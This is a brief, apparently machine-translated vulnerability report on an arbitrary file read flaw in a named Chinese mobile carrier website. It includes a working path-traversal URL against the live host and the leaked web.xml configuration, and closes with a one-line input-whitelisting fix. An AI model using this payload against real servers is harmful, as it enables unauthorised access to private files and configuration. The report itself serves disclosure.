Arbitrary File Reading on a Chinese mobile website

Arbitrary File Reading on a Chinese mobile website

 

http://data.10086.cn/pc/active/activity.do?jsp=../../../../WEB-INF/web.xml?

The parameter can be read from any file. Poc:

Proof of document information



This XML file does not appear to have any style information associated with it. The document tree is shown below.



Dcop



CharacterEncoding



Org. springframework. web. filter. CharacterEncodingFilter





Encoding

UTF-8







CharacterEncoding

/*





ContextConfigLocation

Classpath:/spring-core-context.xml







Org. springframework. web. context. ContextLoaderListener









Com. aspire. dcop. core. common. DcopPlatformLogListener







Spring

Org. springframework. web. servlet. DispatcherServlet

1





Spring

*. Do





/Index. do
 

 

Solution:

Check the input parameters and whitelist the input parameters.